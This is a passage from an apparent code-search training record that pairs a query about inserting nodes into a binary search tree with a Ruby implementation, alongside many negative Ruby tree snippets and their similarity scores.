"def is_bst?(node)\nend", "def find(root, data)\n return nil if data === nil\n\n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n else\n find(root.right, data)\n end\n end", "def encode(tree, c, bit_seq=\"\")\n\tsub_tree = nil # reference to sub-searches\n\tif(tree.get_char == c)\n\t\treturn bit_seq\n\tend\n\tif(tree.get_left != nil) # go left if possible\n\t\tbit_seq << \"0\"\n\t\tsub_tree = encode(tree.get_left, c)\n\t\tif(sub_tree != false)\n\t\t\tbit_seq << sub_tree\n\t\t\treturn bit_seq\n\t\telsif(tree.get_right != nil) # we've checked left branch and didn't find it so backed up, so now go right if possible\n\t\t\tbit_seq << \"1\"\n\t\t\tsub_tree = encode(tree.get_right, c)\n\t\t\tif(sub_tree != false)\n\t\t\t\tbit_seq << sub_tree\n\t\t\t\treturn bit_seq\n\t\t\telse\n\t\t\t\tbit_seq.slice!(bit_seq.length-1) # remove last char from list, since we have to go back up the tree\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\telsif(tree.get_right != nil) # we've checked left branch and didn't find it so backed up, so now go right if possible\n\t\tbit_seq << \"1\"\n\t\tsub_tree = encode(tree.get_right, c)\n\t\tif(sub_tree != false)\n\t\t\tbit_seq << sub_tree\n\t\t\treturn bit_seq\n\t\telse\n\t\t\tbit_seq.slice!(bit_seq.length-1) # remove last char from list, since we have to go back up the tree\n\t\t\treturn false\n\t\tend\n\telse # by this point we know there are no more left or right branches and we've dead-ended, so back up\n\t\tbit_seq.slice!(bit_seq.length-1) # remove last char from list, since we have to go back up the tree\n\t\treturn false\n\tend\nend", "def build_tree(sorted_array)\n return if sorted_array.length.zero?\n\n return Node.new(sorted_array[0]) if sorted_array.length == 1\n\n midpoint = (sorted_array.length - 1) / 2\n subtree_root = Node.new(sorted_array[midpoint])\n # Don't include the root in the left subtree.\n subtree_root.left = build_tree(sorted_array[0...midpoint])\n subtree_root.right = build_tree(sorted_array[midpoint + 1..-1])\n\n subtree_root\n end", "def invert_binary_tree(tree)\n\n queue = [tree]\n while queue.length != 0\n current = queue.shift\n\n if current.nil?\n next\n end\n\n swap_left_and_right(current)\n queue.append(current.left)\n queue.append(current.right)\n\n end\n\n return tree\n\nend", "def depth_first_search(target)\n stack = Array.new\n stack.push(@root)\n\n while !stack.empty?\n\n element = stack.pop\n\n return element if element.value == target\n\n stack.push(element.leftchild) if !element.leftchild.nil?\n stack.push(element.rightchild) if !element.rightchild.nil?\n\n end\n\n return nil\n end", "def search_bfs(value)\n return false unless @root_node\n queue = Array.new\n queue.push(@root_node)\n\n while !queue.empty?\n node = queue.shift\n if node.value == value\n return value\n else\n queue.push(node.left) unless node.left.nil?\n queue.push(node.right) unless node.right.nil?\n end\n end\n return nil\n end", "def breadth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue << current_node.left_child if not current_node.left_child.nil?\r\n queue << current_node.right_child if not current_node.right_child.nil?\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end" ]
[ "0.7087236", "0.6803723", "0.6554015", "0.654651", "0.65244675", "0.65088713", "0.6485999", "0.64475465", "0.6445219", "0.64397174", "0.64328563", "0.64007485", "0.6398177", "0.63844514", "0.6377408", "0.63551474", "0.632815", "0.6294613", "0.62916875", "0.62847054", "0.6270182", "0.62436545", "0.62326956", "0.6227646", "0.6223289", "0.6198926", "0.6193063", "0.61837673", "0.61833036", "0.61682326", "0.616823", "0.6150082", "0.61461526", "0.6142188", "0.61327434", "0.61027044", "0.6096136", "0.60914075", "0.6076739", "0.60728323", "0.60716474", "0.6064826", "0.60525197", "0.6051127", "0.6042007", "0.6024293", "0.60201573", "0.60121685", "0.60119855", "0.6010243", "0.6007621", "0.59990185", "0.59787875", "0.597593", "0.5964396", "0.59582007", "0.5955765", "0.59472585", "0.5938039", "0.59333533", "0.5928952", "0.59272844", "0.5923828", "0.5920729", "0.5920009", "0.5912419", "0.5909044", "0.5904001", "0.58983725", "0.5887967", "0.5882485", "0.5882341", "0.5875235", "0.58557427", "0.58501834", "0.5843109", "0.5837015", "0.5834223", "0.5831463", "0.5828894", "0.5827106", "0.5824439", "0.58162796", "0.5797234", "0.5794216", "0.5788654", "0.57877725", "0.57864374", "0.5772338", "0.57685363", "0.57677263", "0.57674265", "0.576526", "0.5764754", "0.57586455", "0.575332", "0.57497424", "0.5749385", "0.57382816", "0.57374525", "0.57340825" ]
0.0
-1
Creates a new node in the Binary Tree by tracing path from Root. new nodes with data value less than parent are placed along left_child path
def set_next_node(data) data_placed = false temp = @root until data_placed if data == temp.value data_placed = true elsif data < temp.value if temp.left_child.nil? temp.left_child = Node.new(data, temp) data_placed = true else temp = temp.left_child end else # data > temp.value if temp.right_child.nil? temp.right_child = Node.new(data, temp) data_placed = true else temp = temp.right_child end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def calculate_left_child\n # Guard condition for movement not possible\n return nil if blank_x + 1 == size\n\n # Make the movement\n new_state = swap_left\n\n # Avoids loop\n parents_array = parent_states(3)\n return nil if parents_array.include?(new_state)\n\n # Returns new node\n Node.new(new_state, self, blank_x + 1, blank_y)\n end", "def build_tree(data, parent = nil)\n return if data.size.zero?\n center = half(data)\n value = data[center]\n @depth_first << value\n\n # Recusion to split halves until zero then execute logic\n build_tree(l_half = data[0...center], value)\n build_tree(r_half = data[center + 1..-1], value)\n\n # Node creation and set node properties\n l_child = l_half[half(l_half)]\n r_child = r_half[half(r_half)]\n Node.new(value, parent, l_child, r_child)\n end", "def add_node(key, value)\n node = Node.new(key, value)\n\n # if there is current no root node set for the tree we need to set it\n if root.nil?\n @root = node\n else\n # lets find where we need to place the node \n current = @root\n placed = false\n\n while not placed\n # get the property to travese, either left_child or right_child\n property = direction(node.key, current.key)\n\n # set a pointer to remember the previous loops node value and\n # change the current value current based on the property flag \n parent = current\n current = current.send(property)\n\n # if the node under examination is nil then this means we have found\n # a spot to place the current node and we set the placed flag to \n # true in order to exit out of the loop\n if current.nil?\n parent.send(property+'=', node)\n placed = true\n end\n end\n\n end\n end", "def before_create\n # Update the child object with its parents attrs\n unless self[:parent_id].to_i.zero?\n self[:depth] = parent[:depth].to_i + 1\n self[:root_id] = parent[:root_id].to_i\n end\n end", "def insert_left(value, tree)\n left = tree[:left]\n if left == nil\n left = Hash.new()\n left[:parent] = tree\n tree[:left] = left\n end\n insert(value, left)\nend", "def insert_node(node_value, root, parent = nil)\n\t\tif root.nil?\n\t\t\tnew_node = Node.new(node_value)\n\n\t\t\tif node_value < parent.value\n\t\t\t\tparent.left_child = new_node\n\t\t\telse\n\t\t\t\tparent.right_child = new_node\n\t\t\tend\n\n new_node.parent = parent\n\t\telsif node_value < root.value\n\t\t\tparent = root\n\t\t\troot = root.left_child\n\t\t\tinsert_node(node_value, root, parent)\n\t\telsif node_value > root.value\n\t\t\tparent = root\n\t\t\troot = root.right_child\n\t\t\tinsert_node(node_value, root, parent)\n\t\tend\n\n\tend", "def insert_left( item )\n # note this works both if subtree is nil or if one is already present\n new_left = BinaryTree.new( item )\n new_left.left_subtree = self.left_subtree\n @left_subtree = new_left\n end", "def tree_recursive(parent)\n threshold ||= 2 * 12 # 8x8 by default\n\n parent.get_info do |offset_x, offset_y, width, height|\n if (width >= threshold || height >= threshold)\n child_1 = nil\n child_2 = nil\n if (height >= threshold) # cut horizontally\n child_1 = Node.new(parent.offset.clone, [width, height/2])\n child_2 = Node.new([(parent.offset[0] + height/2),parent.offset[1]], [width, height - height/2])\n else\n child_1 = Node.new(parent.offset.clone, [width/2, height])\n child_2 = Node.new([parent.offset[0], (parent.offset[1] + width/2)], [width - width/2, height])\n end\n parent.left = child_1\n parent.right = child_2\n child_1.parent = child_2.parent = parent\n\n tree_recursive(child_1)\n tree_recursive(child_2)\n end\n end\n end", "def build_tree(data, par_node)\n return nil if data.empty?\n \n if @node.value <= par_node.value\n if par_node.left == nil\n par_node.left = @node\n else\n build_tree(data, par_node.left)\n end\n else\n if par_node.right == nil\n par_node.right = @node\n else\n build_tree(data, par_node.right)\n end\n end\n\n @node = Node.new(data.shift)\n build_tree(data, @root)\n end", "def insert(root, new_node)\n new_node.id = @count + 1\n current = find_parent(root, new_node)\n\n current.left.nil? ? current.left = new_node : current.right = new_node\n new_node.parent = current\n\n heapify(new_node)\n @count += 1\n end", "def left_child\n # Returns left_child unless it's nil\n return @left_child unless @left_child.nil?\n\n # If passed the guard, left_child was not calculated yet, so generates it,\n # stores a ref and return the node\n @left_child = calculate_left_child\n @left_child\n end", "def calculate_right_child\n # Guard condition for movement not possible\n return nil if blank_x - 1 < 0\n\n # Make the movement\n new_state = swap_right\n\n # Avoids loop\n parents_array = parent_states(3)\n return nil if parents_array.include?(new_state)\n\n # Returns new node\n Node.new(new_state, self, blank_x - 1, blank_y)\n end", "def left_child(node_id)\n node_id << 1 # node_id * 2\n end", "def borrowFromLeft( node, index)\n child = node.arr[index]\n sibling = node.arr[index - 1]\n \n # Moving all key in child one step forward.\n i = child.n - 1\n while (i >= 0)\n child.keys[i + 1] = child.keys[i]\n i -= 1\n end\n \n # Move all its child pointers one step forward.\n i = child.n\n while (!child.leaf && i >= 0)\n child.arr[i + 1] = child.arr[i]\n i -= 1\n end\n\n # Setting child's first key equal to of the current node.\n child.keys[0] = node.keys[index - 1]\n # Moving sibling's last child as child's first child.\n if (!child.leaf)\n child.arr[0] = sibling.arr[sibling.n]\n end\n\n # Moving the key from the sibling to the parent\n node.keys[index - 1] = sibling.keys[sibling.n - 1]\n # Increase child key count and decrease sibling key count.\n child.n += 1\n sibling.n -= 1\n return\n end", "def insert_in_bst(root, data)\n if !root\n root = Node.new(data)\n elsif data < root.value\n root.left_child = insert_in_bst(root.left_child, data)\n else\n root.right_child = insert_in_bst(root.right_child, data)\n end\n root\nend", "def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end", "def add_node(current_node, v)\n left = current_node.left if current_node.left\n right = current_node.right if current_node.right\n current_node.left = TreeNode.new(v)\n current_node.right = TreeNode.new(v)\n current_node.left.left = left\n current_node.right.right = right\nend", "def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend", "def create\n @node.is_root = true\n\n if @node.save\n flash[:notice] = \"Successfully created tree.\"\n redirect_to @node.tree\n else\n render :action => 'new'\n end\n end", "def parent_for_new(tree_node, value)\n return tree_node if !tree_node.left && value < tree_node.value\n return tree_node if !tree_node.right && value > tree_node.value\n\n if value > tree_node.value\n return parent_for_new(tree_node.right, value)\n else\n return parent_for_new(tree_node.left, value)\n end\n end", "def append_child(parent_node, child_node)\n if parent_node.value >= child_node.value && parent_node.left.nil?\n parent_node.left = child_node\n elsif parent_node.value >= child_node.value\n append_child(parent_node.left, child_node)\n elsif parent_node.value < child_node.value && parent_node.right.nil?\n parent_node.right = child_node\n else\n append_child(parent_node.right, child_node)\n end\n end", "def insert(value)\n new_node = Node.new(value)\n\n return @root = new_node if is_empty\n\n current = @root\n parent = nil\n\n while current != nil\n parent = current\n current = value <= current.value ? current.left : current.right\n end\n\n value <= parent.value ? parent.left = new_node : parent.right = new_node\n end", "def insert_into_binary_tree(root, key)\n new_node = Node.new(key)\n return new_node if !root\n\n queue = Queue.new()\n queue.enqueue(root)\n while !queue.is_empty?\n temporal_node = queue.dequeue\n\n if temporal_node.left_child\n queue.enqueue(temporal_node.left_child)\n else\n temporal_node.left_child = new_node\n return\n end\n\n if temporal_node.right_child\n queue.enqueue(temporal_node.right_child)\n else\n temporal_node.right_child = new_node\n return\n end\n end\nend", "def insert(value)\n current_node = @root\n until current_node.nil?\n if current_node.data < value\n if current_node.right_child.nil?\n current_node.right_child = Node.new(value)\n break\n end\n current_node = current_node.right_child\n elsif current_node.data > value\n if current_node.left_child.nil?\n current_node.left_child = Node.new(value)\n break\n end\n current_node = current_node.left_child\n else\n puts 'Input error'\n break\n end\n end\n end", "def insert( data, node = @root, prev_node = nil, child = \"\" ) \n return prev_node.right_child = Node.new( data ) if node.nil? && child == 'right'\n return prev_node.left_child = Node.new( data ) if node.nil? && child == 'left'\n \n if node.data == data\n return node\n elsif data > node.data\n insert(data, node.right_child, prev_node = node, child = 'right')\n elsif data < node.data\n insert(data, node.left_child, prev_node = node, child = 'left')\n end \n end", "def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end", "def insert_as_child(node, parent)\n if parent >= node \n if parent.left.nil?\n parent.left = node\n else insert_as_child(node, parent.left)\n end\n elsif parent < node\n if parent.right.nil?\n parent.right = node\n else insert_as_child(node, parent.right)\n end\n end\n end", "def buildTree( prefixArray )\n return nil if prefixArray.empty?\n value = prefixArray.pop\n if( root.nil? )\n @root = TreeNode.new(value, nil, nil)\n # the right child comes before left since prefixArray \n # is really a _stack_\n @root.rightChild = buildTree( prefixArray )\n @root.leftChild = buildTree( prefixArray )\n elsif( isOp?(value) )\n newNode = TreeNode.new(value, nil, nil)\n newNode.rightChild = buildTree( prefixArray )\n newNode.leftChild = buildTree( prefixArray )\n return newNode\n else\n return TreeNode.new(value, nil, nil)\n end\n end", "def test_insert_node_to_left_of_root\n @tree.insert(\"b\")\n @tree.insert(\"a\")\n refute_equal nil, @tree.root.left\n end", "def test_insert_adds_node_left_of_left_of_root\n @tree.insert(\"c\")\n @tree.insert(\"b\")\n @tree.insert(\"a\")\n refute_equal nil, @tree.root.left.left\n end", "def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend", "def link_nodes(child, parent)\n # link the child's siblings\n child.left.right = child.right\n child.right.left = child.left\n \n child.parent = parent\n \n # if parent doesn't have children, make new child its only child\n if parent.child.nil?\n parent.child = child.right = child.left = child\n else # otherwise insert new child into parent's children list\n current_child = parent.child\n child.left = current_child\n child.right = current_child.right\n current_child.right.left = child\n current_child.right = child\n end\n parent.degree += 1\n child.marked = false\n end", "def generate_tree\n root =\tTreeNode.new(3)\n root.left =\tTreeNode.new(9)\n right = \t\tTreeNode.new(20)\n right.left = \tTreeNode.new(15)\n right.right = TreeNode.new(7)\n root.right = \tright\n root\nend", "def insert_node(cur_node, parent_node, value)\n node = nil\n \n if cur_node.nil?\n\tnode = Node.new(value)\n node.children = Array.new(2, nil)\n\tnode.parent = parent_node\n return node\n end\n \n if value < cur_node.value\n node = insert_node(cur_node.children[0], cur_node, value)\n\tcur_node.children[0] ||= node\n else\n node = insert_node(cur_node.children[1], cur_node, value)\n\tcur_node.children[1] ||= node\n end\n \n node\nend", "def left_child_node(index)\n index * 2 + 1\n end", "def insert_left(val)\n\t\t\tleft.insert(val) or self.left = Node.new(val)\n\t\tend", "def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end", "def test_left_child\n @root << @left_child1\n @root << @right_child1\n assert_same(@left_child1, @root.left_child, \"The left child should be 'left_child1\")\n assert_not_same(@right_child1, @root.left_child, \"The right_child1 is not the left child\")\n end", "def create_node(class_name, parent)\n Tree.const_get(class_name.to_s + 'Node')\n .new(parent)\n end", "def left_sibling=(node)\n return node if record == node\n\n to = validate_sibling!(node)\n\n self.position = higher_than?(node) ? to.position : to.position + 1\n self.parent_id = to.parent_id\n\n node\n end", "def create_tree(vupper, vlower, &block)\n @root = Node.new(vupper, vlower, @depth)\n @root.create_children &block\n end", "def initialize parent = nil\n self.parent = parent\n self.children_tree = {}\n end", "def left_side_of_tree(root, current_level)\n return if root.nil?\n if (current_level > @max_level)\n puts root.val\n @max_level = current_level\n end\n left_side_of_tree(root.left, current_level + 1)\n left_side_of_tree(root.right, current_level + 1)\nend", "def left_child(root, length)\n child = root * 2 + 1\n if child < length\n return child\n end\n return\nend", "def create_node(data, depth, parent = nil)\n Node.new(data, depth, [], parent)\n end", "def rotate_left(node)\n puts \"left rotation on node #{node}\"\n v = node.right\n v.parent = node.parent\n node.right = v.left\n\n node.right.parent=node unless node.right.nil?\n\n v.left = node\n node.parent = v\n\n unless v.parent.nil?\n v.parent.right = v if v.parent.right==node\n v.parent.left = v if v.parent.left==node\n end\n\n update_balance(node)\n update_balance(v)\n v\n end", "def insert_into_tree(root, new_value, index)\n if root.val == new_value\n return root\n elsif new_value < root.val\n if root.left\n insert_into_tree(root.left, new_value, index)\n else\n root.left = TreeNode.new(new_value, index )\n end\n else\n if root.right\n insert_into_tree(root.right, new_value, index)\n else\n root.right = TreeNode.new(new_value, index)\n end\n end\nend", "def insert(data)\n current_node = @root\n if @root\n while current_node != nil\n if data < current_node.data && current_node.left == nil\n current_node.left = TreeNode.new(data)\n elsif data > current_node.data && current_node.right == nil\n current_node.right = TreeNode.new(data)\n elsif data < current_node.data\n current_node = current_node.left\n elsif data >= current_node.data\n current_node = current_node.right\n else\n return\n end\n end\n else\n @root = TreeNode.new(data)\n end\n end", "def link_nodes(child, parent)\n # link the child's siblings\n child.left.right = child.right\n child.right.left = child.left\n\n child.parent = parent\n\n # if parent doesn't have children, make new child its only child\n if parent.child.nil?\n parent.child = child.right = child.left = child\n else # otherwise insert new child into parent's children list\n current_child = parent.child\n child.left = current_child\n child.right = current_child.right\n current_child.right.left = child\n current_child.right = child\n end\n parent.degree += 1\n child.marked = false\n end", "def make_tree_for(position)\n root = TreeNode.new(nil, position)\n\n\nend", "def update_parent(node, num, new_node)\n\t\tparent = node.parent\n\t\tunless parent.nil?\n\t\t\tif parent.key > num\n\t\t\t\tparent.left = new_node\n\t\t\telse\n\t\t\t\tparent.right = new_node\n\t\t\tend\n\t\tend\n\tend", "def create_leaf(path, data)\n return @create_leaf_override.call(self, data) if @create_leaf_override\n return data.to_s.strip\n end", "def push_node node, value\n if value > node.data\n if node.right\n push_node node.right, value\n else\n node.right = Node.new value\n end\n else\n if node.left\n push_node node.left, value\n else\n node.left = Node.new value\n end\n end\nend", "def add_entry(entry, parent)\n @left_entry = entry\n @index += 1\n # If its not root add entry to the parent\n if !parent.nil? then \n parent.add_entry entry\n end\n end", "def initialize(value = nil) \n @value = value\n @parent = nil\n @left_child = nil\n @right_child = nil\n end", "def build_tree(data)\n @root = Node.new(data[0])\n data.shift\n data.each { |value| @root.insert(value) }\n end", "def insert node_data, current_node=@root\n # New node to be inserted\n new_node = Node.new(node_data)\n #BC recursion\n # Check for nil node or nil data\n if current_node.nil?\n current_node = new_node\n elsif current_node.data.nil?\n current_node.data = new_node.data\n end\n # Recursively find an empty branch of the tree\n # Where root node is less than or greater than new node\n # and insert it theres\n\n if new_node.data < current_node.data\n if current_node.left.nil?\n current_node.left = new_node\n current_node.left.data = new_node.data\n elsif current_node.left.data.nil?\n current_node.left.data = new_node.data\n else\n insert(node_data, current_node.left)\n end\n elsif new_node.data > current_node.data\n if current_node.right.nil?\n current_node.right = new_node\n current_node.right.data = new_node.data\n elsif current_node.right.data.nil?\n current_node.right.data = new_node.data\n else\n insert(node_data, current_node.right)\n end\n end\n end", "def initialize(parent = nil, leaves = [], defer_update = false)\n @parent = parent\n @level = (parent ? parent.level + 1 : 0)\n @children = []\n leaves.each {|leaf| add_leaf(leaf)}\n update_shash unless defer_update\n end", "def insert_right(value, tree)\n right = tree[:right]\n if right == nil\n right = Hash.new()\n right[:parent] = tree\n tree[:right] = right\n end\n insert(value, right)\nend", "def build_move_tree\n self.root_node = PolyTreeNode.new(@start_pos)\n\n nodes = [root_node]\n until nodes.empty?\n current_node = nodes.shift\n current_pos = current_node.value\n\n new_move_positions(current_pos).each do |pos|\n next_node = PolyTreeNode.new(pos)\n current_node.add_child(next_node)\n nodes << next_node\n end\n end\n end", "def insert(new_node)\n\n if self.root.nil?\n self.root = new_node\n self.size = 1\n return {root: new_node.value, size: self.size}\n end\n\n current = self.root\n\n until current.nil?\n if current.value == new_node.value\n return \"{value} already present in tree\"\n elsif current.value < new_node.value && current.right.nil?\n current.right = new_node\n new_node.parent = current\n self.size += 1\n elsif current.value > new_node.value && current.left.nil?\n current.left = new_node\n new_node.parent = current\n self.size += 1\n elsif current.value < new_node.value\n current = current.right\n elsif current.value > new_node.value\n current = current.left\n end\n end\n end", "def cut(heap, node, parent)\n if node.l\n node.l.r = node.r ? node.r : nil\n end\n\n if node.r\n node.r.l = node.l ? node.l : nil\n end\n \n # if parent marked, set parent's child to nil, otherwise set it to left or right children in precednce if exist.\n if !parent.mark && parent.child == node\n new_child = node.l || node.r\n parent.child = new_child && new_child.parent == parent ? new_child : nil\n end\n parent.child = nil if parent.mark\n\n parent.degree -= 1\n node.parent, node.mark = nil, false\n\n root_parent = parent\n root_parent = root_parent.parent while root_parent.parent\n node.l, node.r = root_parent.l, root_parent\n root_parent.l.r = node if root_parent.l\n root_parent.l = node\n @root_head = node if @root_head == root_parent\n end", "def add(key, value)\n new_tree_node = TreeNode.new(key, value)\n\n if @root.nil?\n @root = new_tree_node\n else\n current = @root\n while current\n if new_tree_node.key <= current.key\n if !current.left\n current.left = new_tree_node\n return\n else\n current = current.left\n end\n else\n if !current.right\n current.right = new_tree_node\n return\n else\n current = current.right\n end\n end\n end\n end\n end", "def get_pointer_from_parent(tree_node)\n parent = tree_node.parent\n return nil unless parent\n pointer = tree_node.value > parent.value ? :@right : :@left\n end", "def test_add_node_to_self_as_child\n root = Tree::TreeNode.new(\"root\")\n\n # Lets check the direct parentage scenario\n assert_raise(ArgumentError) {root << root}\n\n # And now a scenario where the node addition is done down the hierarchy\n # @todo This scenario is not yet fixed.\n child = Tree::TreeNode.new(\"child\")\n root << child << root\n # puts root # This will throw a stack trace\n end", "def insert(key, node = root)\n return node if node.data == key\n if child_count(node) == 0\n key < node.data ? node.left = Node.new(key) : node.right = Node.new(key)\n else\n insert(key, left_right(key, node))\n end\n end", "def build_move_tree(root_node)\n start_pos = root_node.value\n queue = Queue.new \n new_move_positions(start_pos).each do | move |\n move_node = PolyTreeNode.new(move)\n root_node.add_child(move_node)\n end\n end", "def create_branch\n @tree_class.new\n end", "def create_root\n #creates a root node\n clone_tree = CloneTree.create(:project_id => self.id, :lft => 1, :rt => 2, :relationship_type => \"root\")\n clone_tree.update_attribute(:rootnode, clone_tree.id)\n clone_tree.save\n end", "def before_create\n maxright = self.class.maximum(acts_as_nested_set_options[:right_column], :conditions => acts_as_nested_set_options[:scope]) || 0\n # adds the new node to the right of all existing nodes\n self[acts_as_nested_set_options[:left_column]] = maxright+1\n self[acts_as_nested_set_options[:right_column]] = maxright+2\n end", "def build_move_tree\n queue = [@root_node]\n until queue.empty?\n current_node = queue.shift\n possible_positions = new_move_positions(current_node.value) #[]\n possible_positions.each do |position| #[1,2]\n child_node = PolyTreeNode.new(position) #node object(value = 1,2)\n child_node.parent = current_node\n current_node.add_child(child_node)\n queue << child_node\n end\n end\n end", "def add_child( child ) \n self.reload\n child.reload\n\n if child.root?\n raise ActiveRecord::ActiveRecordError, \"Adding sub-tree isn\\'t currently supported\"\n else\n if ( (self[acts_as_nested_set_options[:left_column]] == nil) || (self[acts_as_nested_set_options[:right_column]] == nil) )\n # Looks like we're now the root node! Woo\n self[acts_as_nested_set_options[:left_column]] = 1\n self[acts_as_nested_set_options[:right_column]] = 4\n \n # What do to do about validation?\n return nil unless self.save\n \n child[acts_as_nested_set_options[:parent_column]] = self.id\n child[acts_as_nested_set_options[:left_column]] = 2\n child[acts_as_nested_set_options[:right_column]]= 3\n return child.save\n else\n # OK, we need to add and shift everything else to the right\n child[acts_as_nested_set_options[:parent_column]] = self.id\n right_bound = self[acts_as_nested_set_options[:right_column]]\n child[acts_as_nested_set_options[:left_column]] = right_bound\n child[acts_as_nested_set_options[:right_column]] = right_bound + 1\n self[acts_as_nested_set_options[:right_column]] += 2\n self.class.transaction {\n self.class.update_all( \"#{acts_as_nested_set_options[:left_column]} = (#{acts_as_nested_set_options[:left_column]} + 2)\", \"#{acts_as_nested_set_options[:scope]} AND #{acts_as_nested_set_options[:left_column]} >= #{right_bound}\" )\n self.class.update_all( \"#{acts_as_nested_set_options[:right_column]} = (#{acts_as_nested_set_options[:right_column]} + 2)\", \"#{acts_as_nested_set_options[:scope]} AND #{acts_as_nested_set_options[:right_column]} >= #{right_bound}\" )\n self.save\n child.save\n }\n end\n end \n end", "def insert_brother_node(path, node)\n @rootNode.get_node(path).add_rightbrother_node(node)\n end", "def create(name, **args)\n args[:parent] = self\n Node.new(name.to_s, **args)\n end", "def add(key, value)\n new_node = TreeNode.new(key, value)\n\n if @root == nil\n @root = new_node\n return\n end\n\n current = @root\n\n while current != nil\n if current.key >= key\n break if current.left == nil\n current = current.left\n else\n break if current.right == nil\n current = current.right\n end\n end\n\n current.key >= key ? current.left = new_node : current.right = new_node\n end", "def build_tree array\n\t\t@root = Node.new(array.shift)\n\t\tparent = @root\n\t\tarray.each do |el|\n\t\t\twhile true\n\t\t\t\tif el <= parent.value\n\t\t\t\t\tif parent.left_child.nil?\n\t\t\t\t\t\tparent.left_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.left_child\n\t\t\t\t\tend\n\t\t\t\telsif el > parent.value\n\t\t\t\t\tif parent.right_child.nil?\n\t\t\t\t\t\tparent.right_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.right_child\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def push_node(node, value)\n new_node = Node.new(value)\n if node\n if(value > node.value)\n if(node.right)\n push_node(node.right, value)\n else\n node.right = new_node\n end\n else\n if(node.left)\n push_node(node.left, value)\n else\n node.left = new_node\n end\n end\n else\n @root = new_node\n end\n end", "def insert(current_node = root, value)\n # compare nodes,decide if left or right \n return nil if value == current_node.value\n\n if value < current_node.value\n current_node.left.nil? ? current_node.left = Node.new(value) : insert(current_node.left, value)\n else\n current_node.right.nil? ? current_node.right = Node.new(value) : insert(current_node.right, value)\n end\n end", "def rotate_left(node)\n y = node.right\n node.right = y.left\n\n y.left.parent = node if y.left.parent != @sentinel\n y.parent = node.parent\n if node.parent == @sentinel\n node.parent.left = y\n else\n node.parent.right = y\n end\n\n y.left = node\n node.parent = y\n end", "def insert_child(child, new_node)\n return new_node if child.nil?\n child_tree = BinarySearchTree.new\n child_tree.root = child\n child_tree.insert(new_node)\n child\n end", "def insert(value, title)\n node = @root\n i = 0\n while node != nil\n parent_node = node\n node = value < node.value ? node.left : node.right\n i += 1\n end\n\n if has_root?\n parent_node.left = Node.new(value, title, parent_node, i) if value < parent_node.value\n parent_node.right = Node.new(value, title, parent_node, i) if value >= parent_node.value\n else\n @root = Node.new(value, title, nil, i)\n end\n i\n end", "def left_child(index)\n left = index * 2 + 1\n if left >= @tree.length\n return INVALID_INDEX\n else\n return left\n end\n end", "def left_rotate( node=@tree )\n node.left = node.right\n node.right = node.right.right\n node.left.right = nil\n node.value, node.left.value = node.left.value, node.value\n end", "def build_tree(preorder, inorder)\n return nil if preorder.empty? || inorder.empty?\n \n root = TreeNode.new(preorder.first)\n idx = inorder.find_index(preorder.first)\n preorder.shift\n\n root.left = build_tree(preorder, inorder.slice(0..(idx-1))) unless idx==0\n root.right = build_tree(preorder, inorder.slice((idx+1)..-1)) if idx!=inorder.size-1\n \n return root\nend", "def add(key, value, current = @root)\n new_node = TreeNode.new(key, value)\n\n if @root == nil\n @root = new_node\n else\n if key <= current.key\n\n if current.left == nil\n current.left = new_node\n else\n add(key, value, current.left)\n end\n\n else\n\n if current.right == nil\n current.right = new_node\n else\n add(key, value, current.right)\n end\n\n end\n end\n end", "def add_child(child_node) \n child_node.parent = self \n end", "def add(key, value)\n current_and_parent_pair = find_current_and_parent_nodes(key)\n if current_and_parent_pair[:current]\n # update new value if key exists\n current_and_parent_pair[:current].value = value\n else\n new_node = TreeNode.new(key,value)\n parent = current_and_parent_pair[:parent]\n link_node_to_parent(parent, new_node)\n end\n end", "def create_type_path_node(parent_node, address)\n raise EnginesException.new('create_type_path passed a nil', :error, parent_node) if address.nil?\n raise 